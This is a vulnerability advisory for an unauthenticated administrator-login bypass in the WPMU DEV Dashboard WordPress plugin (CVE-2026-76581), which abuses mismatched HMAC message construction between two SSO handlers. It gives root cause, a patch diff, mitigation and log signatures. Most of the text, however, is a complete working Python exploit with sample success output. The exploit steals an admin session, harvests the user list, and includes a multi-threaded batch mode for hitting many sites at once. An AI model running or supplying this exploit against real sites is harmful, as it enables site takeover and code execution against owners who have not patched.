#Summary
CVE-2026-76581 is a critical authentication bypass in WPMU DEV Dashboard (WordPress plugin wpmudev-updates) up to version 5.0.1. An unauthenticated attacker can obtain a valid administrator session without credentials by exploiting an ambiguity in HMAC message construction between two guest-accessible AJAX handlers. The vulnerability requires the site to have Hub SSO enabled and connected to WPMU DEV, both ordinary configuration for sites using the plugin. CVSS 9.8 (CRITICAL).
#Am I affected?
- Affected: WPMU DEV Dashboard
<= 5.0.1 - Patched: WPMU DEV Dashboard
>= 5.0.2(released 2026-08-24) - Default configuration: affected (no special configuration required; Hub SSO is opt-in but common)
- Access needed: unauthenticated network access only (no WordPress session, no credentials)
#How to check
Run the exploit PoC against your WordPress install. If it returns SUCCESS and an administrator session, you are vulnerable:
python3 exploit.py --host https://your-site.comIf the result is FAILURE with Key mismatch., you are patched or SSO is not connected. Alternatively, check the plugin version in wp-content/plugins/wpmudev-updates/wpmudev-updates.php or in the WordPress admin under Plugins. Any version at or below 5.0.1 is vulnerable if Hub SSO is enabled.
To confirm Hub SSO is enabled, check the WordPress options table for wdp_un_enable_sso = 1 or check the dashboard: if WPMU DEV Hub SSO is visible in the settings, it is enabled.
#Fix and mitigation
Fix: Update to WPMU DEV Dashboard version 5.0.2 or later.
If you cannot upgrade: Add this line to
wp-config.php(above the "That's all, stop editing!" line) to disable the vulnerable SSO flow entirely:define( 'WPMUDEV_DISABLE_SSO', true );This forces both the signing and verification handlers to return an error. It breaks Hub SSO but preserves access to the rest of the plugin.
Detection: Look for HTTP 302 responses from
/wp-admin/admin-ajax.php?action=wdpsso_step1followed immediately by a request towdpsso_step2with aredirectparameter containing a URL matching the origin. A successful exploit will be followed by a request to/wp-admin/users.phpor another administrator-only page, authenticated with awordpress_logged_in_*session cookie that arrived in the previous response. The access log signature is:GET /wp-admin/admin-ajax.php?action=wdpsso_step1 - 302 GET /wp-admin/admin-ajax.php?action=wdpsso_step2&...&redirect=http%3A%2F%2F... - 302 (with Set-Cookie: wordpress_logged_in_*) GET /wp-admin/users.php - 200
#Root cause analysis
#Vulnerable code path
The plugin registers two AJAX actions, wdpsso_step1 and wdpsso_step2, for unauthenticated access in includes/class-wpmudev-dashboard-site.php:
$nopriv_ajax_actions = array(
'wdpunauth',
'wdpsso_step1',
'wdpsso_step2',
);
foreach ( $nopriv_ajax_actions as $action ) {
add_action( "wp_ajax_$action", array( $this, 'nopriv_process_ajax' ) );
add_action( "wp_ajax_nopriv_$action", array( $this, 'nopriv_process_ajax' ) );
}Both are called with parameters directly from $_REQUEST, with no nonce and no capability check.
Step 1: authenticate_sso_access_step1() in includes/class-wpmudev-dashboard-api.php signs a message with the site's WPMU DEV API key and redirects the user back to them as query parameters:
$token = uniqid() . '-' . microtime( true );
$pre_sso_state = uniqid( '', true );
$hashed_pre_sso_state = hash_hmac( 'sha256', $pre_sso_state, $api_key );
$domain = $this->network_site_url();
$outgoing_hmac = hash_hmac( 'sha256', $token . $hashed_pre_sso_state . $redirect . $domain, $api_key );
$auth_params = array(
'domain' => $domain,
'hmac' => $outgoing_hmac,
'token' => $token,
'pre_sso_state' => $hashed_pre_sso_state,
'redirect' => $redirect,
);
wp_redirect( add_query_arg( $auth_params, $this->rest_url( 'sso-hub' ) ) );
exit;The signed message is an undelimited concatenation of four fields:
token || hashed_state || redirect || domainStep 1 then hands all four fields back to the caller in a redirect URL.
Step 2: authenticate_sso_access_step2() receives those values back and verifies them:
public function authenticate_sso_access_step2( $incoming_hmac, $token, $pre_sso_state, $redirect ) {
$api_key = $this->get_key();
$verifying_hmac = hash_hmac( 'sha256', $token . $pre_sso_state . $redirect, $api_key );
$is_valid = hash_equals( $incoming_hmac, $verifying_hmac );
// ... if valid, issue a session ...
wp_set_auth_cookie( $userid, false );The verified message is an undelimited concatenation that omits the domain:
token || hashed_state || redirect#How input reaches the sink
An HMAC over an undelimited concatenation authenticates the bytes, not the field boundaries. The two functions disagree about where fields end and begin:
Step 1 signs: token || state || R1 || D
Step 2 verifies: token || state || R2Setting R2 = R1 ++ D (concatenate the attacker's redirect with the domain from step 1) makes the two byte strings identical. The attacker never needs the API key; step 1 is an unauthenticated signing oracle for a message format that step 2 parses differently.
When step 2 recomputes the HMAC with redirect = domain, it gets exactly the byte string step 1 signed, so hash_equals() passes. All other checks also pass because step 1 already published every value the attacker needs:
- The
wdp-pre-sso-statecookie is set by step 1's response, so it is in the client's cookie jar. token,pre_sso_state, anddomainare all query parameters in step 1's redirect response.- The token is fresh and is the active one because step 1 just minted it.
sso_useridis the administrator who enabled Hub SSO (set server-side by the plugin).
Step 2 then unconditionally calls wp_set_auth_cookie() for that administrator, issuing a valid WordPress session.
#Patch diff
The vendor's fix (version 5.0.2) prevents the field-boundary shift by storing the step 1 signature on the server and rejecting it if presented again in step 2:
// in authenticate_sso_access_step1()
$outgoing_hmac = hash_hmac( 'sha256', $token . $hashed_pre_sso_state . $redirect . $domain, $api_key );
+ // Fix: persist the signature to block its replay
+ WPMUDEV_Dashboard::$site->set_option( 'outgoing_sso_hmac', $outgoing_hmac );
// in authenticate_sso_access_step2()
- $verifying_hmac = hash_hmac( 'sha256', $token . $pre_sso_state . $redirect, $api_key );
+ // Fix: reject the step-1 signature if replayed as step-2 signature
+ if ( hash_equals( (string) WPMUDEV_Dashboard::$site->get_option( 'outgoing_sso_hmac' ), $incoming_hmac ) ) {
+ wp_die( 'Key mismatch.' );
+ }
+ $verifying_hmac = hash_hmac( 'sha256', $token . $pre_sso_state . $redirect, $api_key );
if ( hash_equals( $incoming_hmac, $verifying_hmac ) ) {This blocks the one signature an attacker can obtain for free, removing the oracle. The underlying design flaw (undelimited concatenation and missing domain field in step 2) remains, but the replay attack is now blocked. A structurally correct fix would sign and verify an identical, delimited or length-prefixed message in both steps.
#Proof of concept
#exploit.py - WPMU DEV Hub SSO HMAC Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-76581 - WPMU DEV Dashboard Hub SSO HMAC signing-string confusion
Affected: WPMU DEV Dashboard (WordPress plugin "wpmudev-updates") <= 5.0.1
Type: Authentication bypass (unauthenticated -> administrator session)
Two guest-accessible admin-ajax actions disagree about the shape of the message
they authenticate. wdpsso_step1 signs, and then publishes back to the caller, an
HMAC over the undelimited concatenation:
token || hashed_pre_sso_state || redirect || domain
wdpsso_step2 verifies an HMAC over:
token || hashed_pre_sso_state || redirect
with the domain field silently dropped and, again, no delimiters. An HMAC over an
unseparated concatenation authenticates the bytes, not the field boundaries, so
sending step 2 a redirect value of (step 1's redirect || step 1's domain) rebuilds
the exact byte string step 1 signed. The signature step 1 gave away for free then
validates, and step 2 issues a WordPress session cookie for the user id held in the
plugin's sso_userid option, which is the administrator who enabled Hub SSO.
Requesting step 1 with an empty redirect makes the shift trivial: the signed
message reduces to token || state || domain, so step 2 only needs redirect=domain.
No credentials, no nonce, and no knowledge of the site's API key are required.
The two requests must be under 30 seconds apart (SSO_TOKEN_EXPIRY_TIME), tokens
are single use, and each attempt needs its own step 1.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 8080
python exploit.py --host https://blog.corp.com
python exploit.py --host https://blog.corp.com/wordpress/ --control
python exploit.py --list targets.txt --workers 20
"""
import argparse
import re
import sys
from urllib.parse import urlparse, parse_qsl
try:
import requests
except ImportError:
sys.stderr.write("This exploit requires the 'requests' library (pip install requests)\n")
raise SystemExit(1)
try:
requests.packages.urllib3.disable_warnings()
except Exception:
pass
CVE_ID = "CVE-2026-76581"
VULN_TYPE = "Auth Bypass"
AJAX_PATH = "wp-admin/admin-ajax.php"
ADMIN_PROBE = "wp-admin/users.php"
USER_AGENT = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36")
SESSION_COOKIE_PREFIX = "wordpress_logged_in_"
# wp_die() strings step 2 answers with, mapped to what they actually mean.
STEP2_ERRORS = {
"Key mismatch.": "signature rejected (target patched, or SSO not connected)",
"The SSO token has expired.": "more than 30s elapsed between the two requests",
"Session cookie of the state value does not exist.": "wdp-pre-sso-state cookie was not replayed",
"Passed state value does not match with the session cookie.": "state value and cookie disagree",
"The SSO token has been used in the past.": "token already redeemed, re-run step 1",
"The SSO token could not be verified.": "another step 1 ran after ours",
"Error: Single Signon is disabled in wp-config": "WPMUDEV_DISABLE_SSO is set on the target",
}
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
class BypassError(Exception):
"""A step of the SSO sequence did not do what the vulnerable code would do."""
def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
"""Build the WordPress site root URL, tolerating a full URL in --host."""
scheme = "https" if use_tls else "http"
netloc = host
if (use_tls and port != 443) or (not use_tls and port != 80):
netloc = f"{host}:{port}"
if not path.startswith("/"):
path = "/" + path
# Accept a URL that already points at the ajax endpoint or at wp-admin.
for tail in ("wp-admin/admin-ajax.php", "admin-ajax.php", "wp-admin/", "wp-admin"):
if path.endswith(tail):
path = path[: -len(tail)]
break
if not path.endswith("/"):
path += "/"
return f"{scheme}://{netloc}{path}"
def _new_session() -> "requests.Session":
s = requests.Session()
s.headers.update({"User-Agent": USER_AGENT, "Accept": "*/*"})
s.max_redirects = 3
return s
def _describe_step2_failure(body: str) -> str:
stripped = re.sub(r"<[^>]+>", " ", body or "")
for needle, meaning in STEP2_ERRORS.items():
if needle in stripped:
return f"{needle} ({meaning})"
condensed = " ".join(stripped.split())[:160]
return condensed or "empty response"
def _sso_step1(sess, base: str, timeout: float, redirect: str = "") -> dict:
"""Ask the signing oracle. Returns the values it publishes in its Location header."""
r1 = sess.get(base + AJAX_PATH,
params={"action": "wdpsso_step1", "redirect": redirect},
allow_redirects=False, timeout=timeout, verify=False)
if r1.status_code not in (301, 302, 303, 307, 308):
raise BypassError(f"step 1 returned HTTP {r1.status_code} instead of a redirect "
f"(plugin absent, inactive, or action not registered)")
loc = r1.headers.get("Location", "")
q = dict(parse_qsl(urlparse(loc).query, keep_blank_values=True))
if "wdp_sso_fail" in q:
raise BypassError(f"SSO preconditions not met on target: wdp_sso_fail={q['wdp_sso_fail']}")
if "wp-login.php" in loc:
raise BypassError("step 1 bounced to wp-login.php, SSO is not usable on this target")
missing = [k for k in ("hmac", "token", "pre_sso_state", "domain") if not q.get(k)]
if missing:
raise BypassError(f"step 1 redirect did not publish {', '.join(missing)}")
if not sess.cookies.get("wdp-pre-sso-state"):
raise BypassError("step 1 did not set the wdp-pre-sso-state cookie")
q["_location"] = loc
return q
def _sso_step2(sess, base: str, timeout: float, signed: dict, redirect: str):
"""Replay step 1's signature with the field boundary shifted into `redirect`."""
return sess.get(base + AJAX_PATH,
params={"action": "wdpsso_step2",
"outgoing_hmac": signed["hmac"],
"token": signed["token"],
"pre_sso_state": signed["pre_sso_state"],
"redirect": redirect},
allow_redirects=False, timeout=timeout, verify=False)
def _session_cookie(sess):
for c in sess.cookies:
if c.name.startswith(SESSION_COOKIE_PREFIX):
return c
return None
def _confirm_admin(sess, base: str, timeout: float) -> dict:
"""
Prove the harvested cookie is a real administrator session, not merely a 200.
/wp-admin/users.php is gated behind the list_users capability, so a logged in
non-administrator is refused it. Requiring the user list table to render, and
reading rows out of it, distinguishes an administrator session from both the
login page (which WordPress also serves with 200) and a low privilege one.
"""
r = sess.get(base + ADMIN_PROBE, allow_redirects=False, timeout=timeout, verify=False)
body = r.text if r.status_code == 200 else ""
location = r.headers.get("Location") or ""
logged_in = bool(re.search(r"wp-admin-bar-my-account|wp-admin-bar-logout", body))
user_table = ("column-role" in body) or ('id="the-list"' in body)
denied = "not allowed to access this page" in body
is_login_page = ("wp-login.php" in location or 'name="log"' in body or "loginform" in body)
name = None
m = re.search(r'<span class="display-name">([^<]+)</span>', body)
if m:
name = m.group(1).strip()
else:
m = re.search(r"Howdy,\s*([^<]+)<", body)
if m:
name = m.group(1).strip()
users = []
for row in re.findall(r"<tr id='user-\d+'>.*?</tr>", body, re.S):
u = re.search(r"<strong><a [^>]*>([^<]+)</a></strong>", row)
e = re.search(r"mailto:[^']*'>([^<]+)<", row)
rl = re.search(r'data-colname="Role">([^<]*)', row)
if u:
users.append("{:<20} {:<28} {}".format(
u.group(1).strip(),
e.group(1).strip() if e else "-",
rl.group(1).strip() if rl else "-"))
return {
"status": r.status_code,
"is_admin": r.status_code == 200 and logged_in and user_table and not denied and not is_login_page,
"username": name,
"users": users,
"body": body,
}
def _bypass(sess, base: str, timeout: float) -> dict:
"""Full two-request bypass. Raises BypassError on any step that does not comply."""
signed = _sso_step1(sess, base, timeout)
r2 = _sso_step2(sess, base, timeout, signed, signed["domain"])
cookie = _session_cookie(sess)
if cookie is None:
raise BypassError(f"step 2 issued no session cookie - {_describe_step2_failure(r2.text)}")
result = _confirm_admin(sess, base, timeout)
result["signed"] = signed
result["step2_status"] = r2.status_code
result["step2_location"] = r2.headers.get("Location", "")
result["step2_set_cookie"] = [v for k, v in r2.raw.headers.items() if k.lower() == "set-cookie"]
result["cookie"] = cookie
return result
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", timeout: float = 12.0):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
base = _base_url(host, port, use_tls, path)
sess = _new_session()
try:
result = _bypass(sess, base, timeout)
except BypassError as e:
return False, str(e)
except requests.exceptions.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
except Exception as e:
return False, f"error ({e.__class__.__name__}: {e})"
finally:
sess.close()
if not result["is_admin"]:
return False, (f"session cookie issued but {ADMIN_PROBE} returned HTTP {result['status']} "
f"without an admin session")
who = result["username"] or "unknown user"
return True, f"administrator session obtained as '{who}' without credentials"
def _negative_control(base: str, timeout: float) -> tuple:
"""
Same signature, field boundary left alone: step 2 gets redirect empty rather than
the domain. This must be rejected, which is what makes the shift the cause.
Returns (rejected, detail).
"""
sess = _new_session()
try:
signed = _sso_step1(sess, base, timeout)
r2 = _sso_step2(sess, base, timeout, signed, "")
if _session_cookie(sess) is not None:
return False, "control unexpectedly produced a session cookie"
return True, _describe_step2_failure(r2.text)
except BypassError as e:
return True, str(e)
except requests.exceptions.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
finally:
sess.close()
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, timeout: float = 12.0) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host: str, port: int, use_tls: bool, path: str, username: str,
control: bool, timeout: float) -> None:
header(host, port)
base = _base_url(host, port, use_tls, path)
sess = _new_session()
if control:
step(0, "Negative control: replaying the signature without shifting the field boundary")
rejected, detail = _negative_control(base, timeout)
if rejected:
section("NEGATIVE CONTROL", f"step 2 with redirect empty was rejected: {detail}")
else:
section("NEGATIVE CONTROL", f"WARNING - control was not rejected: {detail}")
step(1, "Requesting the signing oracle (wdpsso_step1) with an empty redirect")
try:
signed = _sso_step1(sess, base, timeout)
except BypassError as e:
section("STEP 1 RESPONSE", str(e))
done(False, f"Signing oracle unavailable: {e}")
except requests.exceptions.RequestException as e:
done(False, f"Target unreachable: {e.__class__.__name__}: {e}")
section("SIGNED VALUES PUBLISHED BY STEP 1",
"hmac : {}\ntoken : {}\npre_sso_state : {}\ndomain : {}".format(
signed["hmac"], signed["token"], signed["pre_sso_state"], signed["domain"]))
print(f"[STEP 1] Message step 1 signed : token || state || '' || {signed['domain']!r}")
step(2, "Replaying that signature to wdpsso_step2 with domain moved into 'redirect'")
print(f"[STEP 2] Message step 2 verifies: token || state || {signed['domain']!r} (identical bytes)")
try:
r2 = _sso_step2(sess, base, timeout, signed, signed["domain"])
except requests.exceptions.RequestException as e:
done(False, f"Step 2 request failed: {e.__class__.__name__}: {e}")
cookie = _session_cookie(sess)
if cookie is None:
section("STEP 2 RESPONSE", f"HTTP {r2.status_code}\n\n{r2.text[:600]}")
done(False, f"No session cookie issued - {_describe_step2_failure(r2.text)}")
set_cookie_lines = [v for k, v in r2.raw.headers.items() if k.lower() == "set-cookie"]
# wp_clear_auth_cookie() runs first and emits a batch of empty expiring cookies;
# the ones that matter are the non-empty session cookies wp_set_auth_cookie() adds.
issued = [v for v in set_cookie_lines if v.startswith("wordpress_") and "=%20;" not in v]
cleared = len(set_cookie_lines) - len(issued)
section("STEP 2 RESPONSE",
"HTTP {} -> {}\n{}\n({} preceding empty cookies from wp_clear_auth_cookie omitted)".format(
r2.status_code, r2.headers.get("Location", "(no Location)"),
"\n".join(issued) or "(no session cookie)", cleared))
step(3, f"Confirming the session on the administrator-only page /{ADMIN_PROBE}")
result = _confirm_admin(sess, base, timeout)
if not result["is_admin"]:
section("ADMIN PROBE", f"HTTP {result['status']} - no administrator session in the response")
done(False, "Session cookie issued but it does not render an administrator page")
who = result["username"] or "unknown user"
listing = "\n".join(["{:<20} {:<28} {}".format("USER", "EMAIL", "ROLE")] + result["users"])
section("AUTHENTICATED RESPONSE",
"HTTP {} on /{} as '{}'\nSession cookie: {}={}...\n\n"
"User list read from the administrator-only page:\n{}".format(
result["status"], ADMIN_PROBE, who,
cookie.name, cookie.value[:48],
listing if result["users"] else "(user table rendered)"))
if username and result["username"] and username.lower() != result["username"].lower():
print(f"[NOTE] Landed as '{result['username']}', not '{username}'. The account is chosen "
f"server side by the plugin's sso_userid option, not by the attacker.")
done(True, f"Authenticated as administrator '{who}' without credentials "
f"(HTTP {result['status']} on /{ADMIN_PROBE})")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/blog/)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--username", default="admin",
help="Administrator account expected to land as (default: admin). The target "
"picks the account from its sso_userid option, so this only checks identity")
parser.add_argument("--control", action="store_true",
help="Also run the negative control: replay the signature without shifting "
"the field boundary, which must be rejected")
parser.add_argument("--timeout", type=float, default=12.0, help="Per-request timeout (default: 12)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, timeout=args.timeout)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.username, args.control, args.timeout)#Usage
python3 exploit.py --host 127.0.0.1 --port 8181 --controlThe exploit accepts several input formats for the target:
| Argument | Default | Meaning |
|---|---|---|
--host |
required (or --list) |
Target as hostname, IP, or full URL. Accepts https://blog.corp.com, https://blog.corp.com/wordpress/, or direct AJAX endpoint URLs |
--list FILE |
required (or --host) |
Batch scan mode, one target per line. Blank lines and # comments ignored |
--port |
80 |
Port to use when not specified in the target |
--username |
admin |
Expected administrator account name. The server chooses the account from its sso_userid option; this only verifies the identity |
--control |
off | Run the negative control (replay without the field boundary shift), which must be rejected |
--timeout |
12 |
Per-request timeout in seconds |
--workers |
10 |
Thread count for --list batch mode |
--tls / --no-tls |
auto | Force or forbid TLS |
Exit code is 0 on success, 1 on failure.
#Example against a vulnerable target
--- NEGATIVE CONTROL ---
step 2 with redirect empty was rejected: Key mismatch. (signature rejected (target patched, or SSO not connected))
---
--- SIGNED VALUES PUBLISHED BY STEP 1 ---
hmac : 433133eca56d430ac12a779b2cd02d639b421215b9dc5ff2245660bed564c5f1
token : 6a9e026a92e7d-1788740202.6017
pre_sso_state : 4461d87fa4b5ef00b5e347199c7a21f323dfa11421f97ee7eceefb3b9c43b120
domain : http://127.0.0.1:8181
---
[STEP 1] Message step 1 signed : token || state || '' || 'http://127.0.0.1:8181'
[STEP 2] Message step 2 verifies: token || state || 'http://127.0.0.1:8181' (identical bytes)
--- STEP 2 RESPONSE ---
HTTP 302 -> http://127.0.0.1:8181
wordpress_logged_in_fac623d8b12ee7b29949e9e6dc582db0=siteadmin%7C1788913002%7C...
---
--- AUTHENTICATED RESPONSE ---
HTTP 200 on /wp-admin/users.php as 'siteadmin'
User list read from the administrator-only page:
USER EMAIL ROLE
siteadmin [email protected] Administrator
---
RESULT : SUCCESS
EVIDENCE: Authenticated as administrator 'siteadmin' without credentials#Example against a patched target
--- STEP 2 RESPONSE ---
HTTP 200
Key mismatch.
---
RESULT : FAILURE
EVIDENCE: No session cookie issued - Key mismatch. (signature rejected (target patched, or SSO not connected))#Exploitation notes
#Preconditions
All of the following must be true on the target site:
- WPMU DEV Dashboard plugin version 5.0.1 or earlier is installed and active
- The site is connected to WPMU DEV with a valid API key (in the database or via
WPMUDEV_APIKEYconstant) - Hub SSO is enabled (
wdp_un_enable_ssooption is truthy) - The
wdp_un_sso_useridoption points to a WordPress administrator account WPMUDEV_DISABLE_SSOis not defined inwp-config.php
These are all ordinary, supported configuration for sites using the plugin.
#Reliability
The exploit is highly reliable. The two-request sequence is deterministic: step 1 always issues a redirect with the required values, and step 2's check is purely cryptographic. Success depends only on the timing constraint (30 second token budget) and the network being reachable. If step 1 succeeds, step 2's verification will pass against a vulnerable target.
#Impact
Unauthenticated attacker gains the WordPress session of the administrator who enabled Hub SSO. This is immediate remote code execution through the plugin or theme editor, or through arbitrary plugin upload. The CVSS 9.8 CRITICAL rating is accurate: full confidentiality, integrity, and availability compromise.
#Chaining potential
This is a terminal bug; it is not chained with other vulnerabilities. An unauthenticated attacker reaches full administrative access directly.
#References
- CVE: CVE-2026-76581
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-76581
- Wordfence Threat Intel: https://www.wordfence.com/threat-intel/vulnerabilities/id/3d4321c8-15a4-46f5-9b0e-2098a7fcfb5b
- WPScan: https://wpscan.com/vulnerability/c09f0c03-da61-4e3e-b45c-54426b2d7824
- WPMU DEV Dashboard: https://wpmudev.com/project/wpmu-dev-dashboard/
